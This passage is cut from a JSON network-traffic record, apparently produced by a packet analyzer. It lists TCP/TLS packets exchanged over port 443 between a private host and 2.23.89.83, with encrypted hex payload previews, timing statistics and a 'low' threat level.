\"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12213, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441338463, \"tcp_ack\": 1884102444, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 15, \"timestamp\": 1781446961.929926, \"timestamp_iso\": \"2026-06-14T19:52:41.929926\", \"timestamp_human\": \"2026-06-14 19:52:41.929\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12214, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441338463, \"tcp_ack\": 1884106492, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 17, \"timestamp\": 1781446961.977151, \"timestamp_iso\": \"2026-06-14T19:52:41.977151\", \"timestamp_human\": \"2026-06-14 19:52:41.977\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12215, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441338463, \"tcp_ack\": 1884107125, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 18, \"timestamp\": 1781446962.386513, \"timestamp_iso\": \"2026-06-14T19:52:42.386513\", \"timestamp_human\": \"2026-06-14 19:52:42.386\", \"size\": 436, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12216, \"ip_len\": 422, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441338463, \"tcp_ack\": 1884107125, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 26, \"timestamp\": 1781446962.815264, \"timestamp_iso\": \"2026-06-14T19:52:42.815264\", \"timestamp_human\": \"2026-06-14 19:52:42.815\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"2.23.89.83\", \"ttl\": 128, \"ip_id\": 12217, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63945, \"dst_port\": 443, \"tcp_seq\": 2441338845, \"tcp_ack\": 1884107758, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 10, \"PSH\": 4}, \"packet_sizes\": [66, 54, 240, 54, 180, 549, 54, 54, 54, 436, 54], \"inter_packet_intervals\": [0.00012111663818359375, 0.0006530284881591797, 0.48328185081481934, 0.03202509880065918, 0.4306659698486328, 0.3355839252471924, 0.010921955108642578, 0.047224998474121094, 0.4093620777130127, 0.42875099182128906], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 2.178591012954712, \"avg_packet_size\": 163.1818181818182, \"packets_per_second\": 5.0491349384028075, \"bytes_per_second\": 823.9270194939128, \"min_packet_size\": 54, \"max_packet_size\": 549, \"median_packet_size\": 54, \"avg_interval\": 0.2178591012954712, \"min_interval\": 0.00012111663818359375, \"max_interval\": 0.48328185081481934}, {\"source\": \"2.23.89.83\", \"target\": \"10.152.152.11\", \"packet_count\": 11, \"total_bytes\": 13312, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"src_ports\": [443], \"dst_ports\": [63945], \"first_packet\": 1781446960.636681, \"last_packet\": 1781446962.764074, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1781446960.636681, \"timestamp_iso\": \"2026-06-14T19:52:40.636681\", \"timestamp_human\": \"2026-06-14 19:52:40.636\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884095051, \"tcp_ack\": 2441337656, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1781446960.637459, \"timestamp_iso\": \"2026-06-14T19:52:40.637459\", \"timestamp_human\": \"2026-06-14 19:52:40.637\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60578, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884095052, \"tcp_ack\": 2441337842, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1781446961.120385, \"timestamp_iso\": \"2026-06-14T19:52:41.120385\", \"timestamp_human\": \"2026-06-14 19:52:41.120\", \"size\": 3756, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60579, \"ip_len\": 3742, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884095052, \"tcp_ack\": 2441337842, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 8, \"timestamp\": 1781446961.152767, \"timestamp_iso\": \"2026-06-14T19:52:41.152767\", \"timestamp_human\": \"2026-06-14 19:52:41.152\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60582, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884098754, \"tcp_ack\": 2441337968, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 9, \"timestamp\": 1781446961.582346, \"timestamp_iso\": \"2026-06-14T19:52:41.582346\", \"timestamp_human\": \"2026-06-14 19:52:41.582\", \"size\": 328, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60583, \"ip_len\": 314, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884098754, \"tcp_ack\": 2441337968, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 40, \"payload_preview\": \"07266d8f2f8a575a96da2ce6ffe0970aa10cc1c0313bc22e52dcde695cafb843a1c2c5e9a50cde53\", \"payload_ascii\": \"\\u0007&m/WZ,\\n\\f1;.Ri\\\\C\\fS\"}, {\"packet_number\": 11, \"timestamp\": 1781446961.583439, \"timestamp_iso\": \"2026-06-14T19:52:41.583439\", \"timestamp_human\": \"2026-06-14 19:52:41.583\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60584, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884099028, \"tcp_ack\": 2441338463, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 12, \"timestamp\": 1781446961.918809, \"timestamp_iso\": \"2026-06-14T19:52:41.918809\", \"timestamp_human\": \"2026-06-14 19:52:41.918\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60585, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884099028, \"tcp_ack\": 2441338463, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 14, \"timestamp\": 1781446961.929688, \"timestamp_iso\": \"2026-06-14T19:52:41.929688\", \"timestamp_human\": \"2026-06-14 19:52:41.929\", \"size\": 4102, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60588, \"ip_len\": 4088, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63945, \"tcp_seq\": 1884102444, \"tcp_ack\": 2441338463, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 4048, \"payload_preview\": \"e61f1915cb7c120c7a5d7b991969998edbf47961f18754263bc98b1143ba6556a1815cb3b6f2b1c49b3fc3daf8ca68ac5070d9fb7584e5e89795492ee599dd27eb346390b2f40985e48e31f6d129ac3b4c706adb98e982d2071f120be7847c712f5825d1b148f7541cb5c46b0f5f2c05d32bb1c7c8c4f4a07445b3c0aefebc19db6c5f43980283b183c24662e8090a028d2eba318f0a3a05074b8e4598562648dd71ff6043b0f3000d39141205e70b199073e2220d6674eda557efa447c20e7d545422726eca4f2a833ab678e7de139baf814d32db1ce5f2bec71740d1da48dd1aa42ff4248b31340fbd4e6b7c43f563edfa5416f525dab0607ad88af525cc0d3642dc43c2f5d234f5080796c0f5332ba3a52adf6760862a7235612fa07f9df87041316b509273cad9c9be0b887065830448b85d380c6e85ce4b457c46945e2c1760b34b59ca2acf8a04ef0a35dc4dc1bb73280e640c4f0978f1ac1f6c7f1af57cf460db0d24ddcda7d7ecf5abe94d9e06e67eb07ac97bf899756c49c003d9697750378ea086cbf885a26055cd9d533f0f6d248f94ea363741d673ce1662625e51adb0ccd22ad579f193b47346c81ac74ad60f7cd2241fa86a39c28e0d1a583b0c65c42890bce2166928a481da9671a551f94bdbf386875cdd23d9772678837410d0c2666bb82a743c89c0715cc9a8bcc424319475ee03534c9ce67b3c9e2cc660eb754dbd5410841a2daa95f5c4d600ce4c72da0067f9ebdd8e6054202785e36dd08a11f751f804defa750f056d6116cb8d0114799dec6aa743f09e948153fd283078c5b1cc31f1add7d9b545d0ef85daadb395c1f0e7963e50ca3ed3255a04f0f83be661458baef256bff57354121ac746e3e027c2d10312763c64dddfcd06483843d41d62bbaf5cad66247bcb08b856da6f6d7d6033d9f0c5c5240c734551ee1c976268a1a713817b84eacbf83f39181572c3e8fa648310375864fcdd28a0dd387fb235f2d6e5b18cc4fdab29c8176bbdb52259af1404bf09ccdacff129334398317159f4b442be73d5cebf8ef0c01fb2e164e6d775df6ceae5559d639313446e1430c6993c8a3d756de6bc1ca087de6baa32125c8605864f723fe4e63c14dc110ec909a074b41112c5ee828997da603eff13dd06a198183e5025c4bb042c1bd3442a957a36d5fa63ae19cd38f385883db2baba5e44cae3a29029a7ec78304e8b7fd3ff190508c18af2293e321698606d773cabd74a53615833d97aded9418e349d0395de8b43a68877e198dabd3c023d0f5c47a168de04352e25eb628b00e71eb61cf5762d26eef51e86ddca367a14948e94b1c4a81089c9f20b015a701f2b36c09a89a1b738ebd75451515108f8d55a7a7a032bfd22449971b91b752aceb0ddc40814c323bbf0be7b99a9c9dff934a06c571e4e3998fc7f61468baf300c1a5b1abb16f71b9abe54fcd0c9152bed895349da7c574f430972d53ac83cff5e89d06b215db03366faa6efd24c93079c094ad6034b626b2754dc56bc0c6b1b49f255c1b4a7b14b7750fde3658ac698a1bfeab589e645df29f1abbf81d7b595a416e4afb57ec4a178071ce61a9b70a9067cbf60efa3c8783ab59f2dd2822b5e7f79abc6344b7bdc6289eba7ce570c319deb91c5a857511a57e996e71f1322680d6459df4af0f99d35e6cf924fade086b268f202fa597a30a0f8c119613f7ea3e174522616ef3176353667f253e1111e277f17c0a616b7c226cad05179b8aae41b0e6606b487d941b1a3d6822d5939230d0c43adab276bd371fa0b762d6e0eb3dc1542e0dba0d5ea262d597a054299b9c6c2a1a4c60a16f66d9851fe46625ee3c3ab5db826b711af0c85eb675ea6e63d432c41da6ef78bcde329f546d0da742e77bd3a5d417348c23f616d1aea1a1708f431297b32716acff5068de4ff63047946ef5ee2e2de29746827692e0a1424ecafe01fd00a49dbd6a0a666dfc05f702d12e0499c4fd3d6776da0bbf76e0c4d1667ad4520df6667453c1c134188457a11a0781c3d2610ce849bab3852926719ee0dcf96908b412ac275c3a07fbbbca51b5b691ee5e485faafd5dad0d1a435810658170d1f778bad155944da71429797e1cf63099523a8be7da59faa61b72516e90505324e5789ba8a52b5edc3b4cda12ecad4133cfb436504460f0c7f386831ab52d04012bde305991f6edaeac8189c8f637083ae2313a94739049cb43d52e7ce19bb7c957133cb679a2e6d5211859dd058389067596d1168d9f27fe3643813ff860c34be1a41dd774037426407b1e937acefbb4a671606a3d167db4a5ec0286d9ba6f21aa2b4672c5e49a07364ffceb683acfbd55df9f20bff3bb26a38aa8f1dc280a6c15b8ca3d583abc6016e80ec81641cd4327b4993812922968ff68d2242660220d5dd695101e97023f0aa5dc5db6752889d1082ebe8f3d5e07b2a245eca8dbd1d464fbf580c72c2340dfd4bb8fe0c49aa9b03374cda4a1f498a700d4a15f39bfdaaa110bf8a261e30d0a518a2e75e28eae6e828929efc85a8fa2ac3316d14a5301e43c9f244d8296084108caf1f53149d2639f969bf496b7b91f45881aaf27793215d916be3102caaf5849f00c85ffb08db65c66afdd83e529bb560a90a7a5c7329954a8d3cac93eadf5b72800dfbf3f9ff9fd0f6759cb299b1347c140abeae89f72617bd7cd83939087becee73800f03acde89931f0ffaac2ed22dc8f08e08af8cdd8580766c163a0d29011eaa0e05bebbf266b4b056747383c60895658df94b8f971c47902374ca54615472de16fff54561f1d117b7e93530cd65a091eb48f8f8385966f3b68231c7c35a120a57e9d889e8db58564da3ea4b3b7aa303ee5dec35005e7ca82989b8d0d147208a783fb4ba80ef2285f4aa1088006771cb7c630ebbdcf843aab8c71e523470661972eefd4acbdc3608e350633bbd60809433210c3a9cbb83dcd885911683253a1834665a9e0bbc4eb54b061eb063ce4e8c42279146637536ee00bced781a825490ababd99e786fefdaba0dc1e33860706900c054d603c5587526aef3aafcef3bcde9fa7d60a887b3cf0cd0c32d9b03678bb9236483c1fc91156496e520ca48b72b56ee2452ffe6af05b041b0a2e1b18697de77555504ae03b8b80b39d70474e6fecad222da3e32371c9f94e06a3e1c3953e3498ce5967b742a5c5852b703451bda73cd7112f12d33e17a1bd595506bdbb9fc497afcab2e30ed4c51eb823e7a0f1f4ffec97cbcf34cacff5eb1443d7787413a568098a51e611f4a1f0c60e5005bfbef6d39a7cf4da95e2712e7653c92a5d4f6b0414045d8e2f534cbaa195bbb06a9c92f7ecbbaea889b8bae38bb272a6e05d71f75628795297902d428a638a60a84b2fce617d0836a2f00d9d8ac3dd4ed7de62fa19de0a9cfca08d489e9619b8d1a4651c092d0891845fe17b127f386f4433c44e3a1f659ac62d13445eba4672160200f884166477e54a38e16aa2ba01ba56424e84830b702ce8b202a1096ab639ec87f23124e69db3fa001a1e62d53695041eb156c5f192ac82248d3583fa161671be36a8e61ad6d64d8f09a9851665d42b43e4be213ca2fdb8d2b815c0c8e299346e1e3868ef740df4e7321b1fc18df5d80d1df6c853d3746e3eba48c8dcc2cef294179fe7e8cbaac89b1d8b297ef5f83973e1eb9d49da63b660e960a13adf2520df906a9853d0a5978648f3ac29897c0c1cdea24f66347b4e52c632f3fbbd584d0c64f9b5c42b80aaa316161f3501be073f88caec098f450e4efc5ba0daf2bd2a98c3417e3269c435ebe457f61aea61b35542c93d986ae800b8012a722bd9dbbfced54a9ccf83fda2cbd90a899073e8a2e70c87f722edbaa953214f088651ad2e1e01565ec8127f59de1c05644e564536901b86f00c978d1de4be9ce531419da5e8ffd64d03726097812a58c76cd8766c9312d3e1e1b48f98a02c8cda954735bf63637e0951217e2772b3fa0626a7022dcf19f57aaf8c5d2aef3a14b88e8e1a1c3b766ec78862b6780798052bd7804b1045796b12e9bcdcc19bf280890f67aaac78f8ead5742b6b90d2b52fd5354ad064a8e5004ce1b2d574bc2cc3d148e820807c6ad3b27ac57c1c8bf8b148bd977b2ccaea5429d9f14ad137cccd6e45b5e8bffdf1f6616c0dd57d06c469c81006d1196f084224339f42639183c62751751684676101317948d32add4fe3ff429e38f224dd0c1d9eb7877a86eb367a0b8d7372e20df6d5c14d53fbead473150f50e9b47ae7e51ea2b4e17a6c9727bf856d6dc4f540f455d57cfccde0fcd191140ff500e54f26d67dfd183510a81c159f69503785e1322986ede614ab0c0462902367097edb252452eb62b3c89c04cdd145c4d0c8afdec571cfb5973c31f6ed943890e55f199a2ca12cdabdff37928ae12d539955331c3694a0b7757ca79773dfde5b7e0d716b28fa8bba92f72c801021557b33b2ae23a1a93deab903c9fa981307cbf9b46897e1b09a83f4cb0b37c7c9f98ed01b85dafd98b005f9b0a0d1f595c0d2eea1aa3b6702d1d8ebb467f99d2531daedd53a36dd3d09b29c586910bc7fc59954440f2dc3aeb7a5d5e6b9aaa7bb5b638e612c3dfc8e807bc8ce370617af39c55f0ac76c20805eee3209a918b97f93ad7bc78b446af5fe35eab6579e39aa47d454e62c8ca91a1cf7d8612d35829e55856ac4dba46866f484f072b288abb5327a4a3a6de7df0d1ee4bdd3e9841410df3641e302cb3e54a6fe1fd149dfe99f26d4abba6a94899565494aab6502bc218d09d15ae00c04ff6eca7090028da3bb3bf581ed0e1c27fa31c3cb90eb68891e8d7957e00a3567e20e445e389925bd36fc271b6906295b098fa6f9665fdb4cba9e170a20d261540bd0d08c03fb9688571e214bef71b7929da249d5c938c6330a1520f5daaa4313aa1c852044a9b71ca6de1267af5db8d5154cc305bc132ede539d1df40f8280705b396fcd8ecb26ef7e6792a830fffb3761d8b548b6fc61ad44fa923bbf1420979384c658ec2adcecab02c4bc8f709b93f4e6e798e78f0a793f0ffafd78ec9add93fb103db850e85b2a034339f5ed449d66811212f7daae4cd61dc5f13664bea828be5b71d98ef8bf835fec261eb9d42b3ced0c2484ec51010167d07259671da56dd68d90e039d71d6f4ae12789f9259d8de510d2535df3913b9a3df326ef42bee72ce4f64481830e3d4674f77ef69a03bd08150cd44aa3b27d1f12af6d9408ade9a2c634b71ef704764a431c1f34ace05e9c5421bd581a17f7272619bd387a9cb9c75a7743bcca398d9695c1ea7f1a0a04111279df3ea93bbe470d07532b96fe812e0cbf1a7506d14859c4843ee790ffe7c479bb844b5e482640c9d9d1a0aae8ae0a70bea75dea08097a1c1307959aecbb7014ab5ea99d63ae2fabb8ac1a9dbbd6dfda2f04b00b96a59f7977b994f168c56da05be9ba20bfef4203e380466cc0387294a0bf83cff70b72f0ea429c8bf2fe916c1cf196f796eb0f0653423aaba2c71c5c3a982d2186ae5aeabac2fd75d403786074d9b9b228c2fc5ba3bd71d7bbf4922acddf59580b16e4cc585ec0acd605bb6e7b3019c6393d02328a38de0ffb4fcb2ed0d8fad620dc9ad6a11a0e471b9287d546fe0ce11aad3c5fc9e3acece879d0240d633b739988cda4eb1664f7ea22683e3a5fe4d2ac2f5133b8f49789ea136d2c22614b07004ca2928d9\", \"payload_ascii\": \"\\u001f\\u0019\\u0015|\\u0012\\fz]{\\u0019iyaT&;\\u0011CeV\\\\?hPpuI.'4c\\t1);Lpj\\u0007\\u001f\\u0012\\u000b|q/X%HT\\u001ck\\u000f_,\\u0005+tE\\u0019l_C\\u0002Fb\\t\\n\\u0002.1\\n:\\u0005\\u0007KEV&Hq`C\\u0000\\r9\\u0014\\u0012\\u0005\\u000b\\u0019s\\\"\\rftWG\\u000e}TT\\\"rnO*:x\\u0013M2\\u001c\\u0017@H\\u001a/$14\\u000fNk|CcT\\u0016%`z%\\r6BC4\\b\\u00073+*g`*r5a/\\u007fpA1kPs\\u000bpe\\u0004H]8\\fnKE|F^,\\u0017`KY*\\u0004\\n5Ms(\\u000ed\\fO\\tx\\u001fl\\u007f\\u001a|`\\r$M\\u0006~z{ulI\\u0003iwP7`US?\\u000fm$67As\\u0016bb^Q*ysF\\u001aJ\\u000f|$\\u001fj9\\r\\u001aX;\\fe(\\u0016i(qQK\\\\#w&xt\\u0010fk*t<q\\\\$1u\\u0003SL{<,`uMT\\u0010\\u001a-\\u0000Lr\\u0000g`T 'm\\u0011Q\\u0004u\\u000f\\u0005ma\\u0016\\u0001\\u0014yjCS(0x1E>P>%Z\\u0004;aEVsT\\u0012\\u001aF'\\u0003\\u0012v<d\\u0006H8C\\u001db\\\\f${\\bVom}`3$\\fsEQ\\u001cbh\\u0013{?9\\u0018\\u0015rd\\u00107Xd(8\\u007f5)\\u0017k\\\"Y\\u0014\\u0004\\t)3C1qYBs\\u001fdulUc\\u0013Dn\\u00140<=um\\u001ck2\\u0012\\\\\\u0005Or?<\\u0014\\u0011\\u000e\\tt\\u0011\\u0012`>\\u0013\\u0006\\u0018>P%\\u0004,\\u001bD*z6c\\u00198=^D)x0N\\u007f\\u0019\\u0005\\b)>2\\u0016`mw<JSaX3zA4\\u0003Cw<\\u0002=\\u000f\\\\Gh\\u00045.%b\\u0000\\u001e\\u001cv-&\\u001e6z\\u0014\\u0010\\u000b\\u0001Zp\\u001f+68TQQQ\\bZzz\\u0003+\\\"Dq\\u001bu*\\b\\u0014#{4lW\\u001eN9\\u007faF0\\f\\u001a[\\u001a\\u0016\\u001bT\\u0015+SI|WOC\\tr:<^k!]3fL\\u0007\\tJ\\u0003Kbk'TV\\fk\\u001bIUKwPeE)\\u0016~x\\u0007\\u001c\\u001ap\\u0006|`x:-+^\\u007fy4K{bW\\f1WQ\\u001aW\\u001f\\u0013\\\"h\\rdYJ5Oh\\u0002Yz0\\u0019a?~tR&\\u00161v56gS\\u0011\\u001e'\\u007f\\u0017\\u0016&Qy\\u001b\\u000ef\\u0006A-Y9#\\r\\fC'kq\\u000bv-n\\u000e\\u0015B&-Yz\\u0005B\\n\\u0016mQFb^]&\\u0011\\fg^=C,An)Ft.w:]AsH?am\\u001a\\u001a\\u0017\\b1){2qj\\u0006c\\u0004yF^)th'i.\\n\\u0014$\\u001f\\nIf_p-\\u0012IOwmn\\fM\\u0016gE fgE<\\u001c\\u0013AEz\\u0011x\\u001c=&\\u00108Rg\\u0019\\rA*u\\u007f\\u001b[i\\u001e5\\u0006X\\u0017\\r\\u001fw\\u0015YDqBc\\t#}a%\\u0016\\u0005\\u00052NWR.\\u0013<Ce\\u0004F\\u000f\\f\\u007f8h1R@\\u0012\\u0005\\u001fn\\u0018cp#\\u0013G9\\u0004=R\\u0019|q3g.mR\\u0011X8gYm\\u0011h\\u007fd8\\u0013\\f4\\u001aAw@7Bd\\u00077Jg\\u0016\\u0006gJ^(m\\u001ag,^Isd]\\u000b;j8\\u001d[\\u0001nd\\u001c2{I)\\\"\\\"Bf\\u0002 iQ\\u0001p#]gR\\u0010{*$^\\u001dFOX\\fr4\\rK\\fI\\u00037LJ\\u001fIp\\rJ\\u0015\\u0010&\\u001e0\\u0018^((*1m\\u00140\\u001eCD)`\\u0010\\u001fS\\u0014&9iIk{Xw!]k\\u0010,\\u0000_\\bej>R`\\nz\\\\s)J<[r\\ru4|\\u0014\\n&\\u0017|99\\b{s\\u000f\\u0003\\u001f\\u000f.-\\bvl\\u0016:\\r)\\u0001\\u001e\\u000e\\u0005fVts\\beK\\u001cG#tTaTr\\u0016Ea\\u001750eH8Yf1Z\\u0012\\nWXVMK;z\\u0003]5\\u0000^|)G x?\\\"\\u0010\\u0000gq|c\\u000eC\\u001eR4pf\\u0019rJ6\\bPc;`3!\\f:\\u0016%:\\u00184fZ\\u000bNK\\u0006\\u001ecNB'Fcu6\\u0000x\\u001aTxo\\r8`pi\\u0000T\\u0003Xu&;}`\\f-\\u0003g#d\\u0015d H+V$R\\u0005AwUU\\u0004\\u0003\\u000b9\\u0004t\\\">27\\u001cj>\\u001c9SI{t*\\\\XR\\u0003E\\u001bsq\\u0012-3z\\u001bPkIz.0LQ>z\\u000f\\u001fO|L^D=wA:V\\u001ea\\u001fJ\\u001f\\f`\\u0000[m9M^'\\u0012e<A@E4\\u0019[\\u0006/~8'*n\\u0005\\u001fub)y\\u0002(8\\n\\u0017j/\\u0000=}/\\ba\\u001aFQ\\u0018E\\u0017'C<DYb4Eg!` \\u000fAfG~T\\u0016+\\u001bd$H0\\u0002 *\\u0010c\\u007f#\\u0012Ni?\\u0001-SiPA\\u0015l_\\u0019*\\\"HX?ag\\u001bjamdQf]B>K\\u0013/+\\\\\\f)F@Ns!\\u0018]l=7F,)Ay~_>\\u001e;f\\u000e\\n\\u0013R\\r\\u0006=\\nYxd:$cG,c/?O\\\\B\\n1aaP\\u001bsP\\r+4\\u0017&C^E\\u007fa\\u001b5T,\\u000b\\u0012\\\"T?,\\u0007>.p\\u007fr.2\\u0014e\\u001a\\u0015e'VDdSi\\u0001o\\u0000xKS\\u0014\\u0019^d7&\\tx\\u0012vf1->\\u001e\\u001bH\\u0002Ts[67\\u0012\\u0017w+?bjp\\\"WKfx+gyRx\\u0004\\u0004W.\\u0019(\\bzWB\\r+RST\\u0006JP\\u0004\\u001b-WK=\\u0014\\b\\u0007;'W\\u0014wB\\u0014\\u0013|[^\\u001ff\\u0016WlF\\u0000m\\u0011\\\"C9&9\\u0018<bu\\u0017QhFv\\u0010\\u0013\\u00172?)\\\"Mxwng7. m\\\\\\u0014?G1P\\u000eG~Q+N\\u0017r{VOT\\u000fE]W\\u000f\\u0019\\u0011@P\\u000eTmgQ\\nY\\u0003x^\\u0013\\\"naJF)\\u00026pRE.+<L\\u0014\\\\M\\fW\\u001cYs\\u001fnC\\u000eU\\u0012y(\\u00129S1iJ\\u000bwWyw=\\u0016/r\\u0001\\u0002\\u0015W;*:\\u001a<0|F~\\u001b\\t?L||\\u0001]\\u0000_\\n\\r\\u001fY\\\\\\r.\\u001ap-\\u001dF\\u007fS\\u001dSm)\\u000bYD@:z]^k{8\\u0012\\u0007pazUv\\b\\u0005 :xF_^ey}ENb}\\u0012X)XVMFoHO\\u0007+(S'}K>AA\\rd\\u001e0,Jo\\u0014mJHVTP+\\u0018\\u0015\\u0000O\\t\\u0000(;X\\u001e\\u007f\\u001c<\\u000e~\\u0000V~ 